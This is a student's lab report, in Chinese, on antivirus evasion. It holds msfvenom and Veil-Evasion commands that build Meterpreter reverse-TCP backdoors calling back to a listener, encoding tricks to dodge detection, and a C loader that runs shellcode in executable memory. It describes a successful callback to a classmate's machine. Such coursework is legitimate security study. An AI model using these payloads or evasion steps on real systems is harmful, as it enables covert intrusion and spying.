20155205 郝博雅 Exp3 免杀原理与实践

时间:2023-12-04 15:27:08

20155205 郝博雅 Exp3 免杀原理与实践

一、基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 答:++基于特征码的检测++<简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码>。++启发式恶意软件检测++,就是根据些片面特征去推断。++基于行为的恶意软件检测++,这个也很容易理解,就是根据程序有什么行为来判断他是好是坏。

(2)免杀是做什么?

  • 答:木马或恶意程序、软件避免被杀毒软件或管理员发现并删除。

(3)免杀的基本方法有哪些?

  • 答:1、修改特征码。2、加壳<可以用一些比较生僻的壳对木马文件进行保护,阻止外部程序或软件对加壳程序的反汇编分析或者动态分析>。3、伪装,防止被行为查杀。

二、实验内容

1.使用msf生成后门程序的检测

  • 将上次实验生成的后门程序放到virscan

  • 咦?为啥说有广告,只能改个名啦

20155205 郝博雅 Exp3 免杀原理与实践

  • 我们可以看到扫描的结果:

20155205 郝博雅 Exp3 免杀原理与实践

20155205 郝博雅 Exp3 免杀原理与实践

20155205 郝博雅 Exp3 免杀原理与实践

  • 利用msfvenom对后门进行编码处理,比如10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.206.132 LPORT=5205 -f exe > 5205-encode10.exe
  • 会不会好一点呢?我们来看一下

20155205 郝博雅 Exp3 免杀原理与实践

  • 这说明编译的次数是不会改变他被杀的事实的。。。
  • 把他传到windows里直接被查杀。

2.使用veil-evasion生成后门程序的检测

  • 进入veil

20155205 郝博雅 Exp3 免杀原理与实践

  • 输入下面的指令设置veil
use evasion
use python/meterpreter/rev_tcp.py
set LHOST 192.168.206.132
set LPORT 5205
  • 输入generate生成payload,名字设为payload5205.

20155205 郝博雅 Exp3 免杀原理与实践

  • 使用老师给的方法会出错,无法生成后门文件,在veil中使用list查看可以use啥,看到了这个7,我们重新做一遍上面的设置。

20155205 郝博雅 Exp3 免杀原理与实践

  • 重新的步骤为:
use evasion
use 7
set LHOST 192.168.206.132
set LPORT 5205
  • 可以看到成功啦

20155205 郝博雅 Exp3 免杀原理与实践

  • 找到他,然后放到virscan上扫描一下,发现比msf编译过的强多了!

20155205 郝博雅 Exp3 免杀原理与实践

  • 传到windows里后double kill

3.利用shellcode编写后门程序的检测

  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.132 LPORT=443 -f c生成shellcode

20155205 郝博雅 Exp3 免杀原理与实践

  • 将上述数组加上主函数生成5205.c文件,之后用命令i686-w64-mingw32-g++ 5205.c -o 5205.exe将.c文件转换为可执行文件5205.exe

20155205 郝博雅 Exp3 免杀原理与实践

  • 扫描一下下发现居然不如veil生成的。。。

20155205 郝博雅 Exp3 免杀原理与实践

  • 传到Windows下,日常被杀。。。

20155205 郝博雅 Exp3 免杀原理与实践

4.Linux平台交叉编译Windows应用

#include "stdafx.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h> //192.168.6.129 443 reverse_tcp
const char met[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"此处省去若干行"
"\x53\xff\xd5"; int main()
{
DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr =(INT32*) &met; __asm;
{
call addr;
}
return 0;
}

5.实现免杀后回连

  • 输入下面的指令生成后门,攻击20155218徐志瀚同学的windows
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai x86/bloxer -i 10 LHOST=192.168.206.132 LPORT=5205 -f c
  • 可以实现回连,成功窥探他的小秘密

20155205 郝博雅 Exp3 免杀原理与实践

三、实验体会

  • 没有想到自己的电脑是这么这么的弱,而且发现攻击安全意识不强的人的电脑十分容易!虽然做实验的时候电脑卡的不要不要的,成功改了程序免杀还是很开心。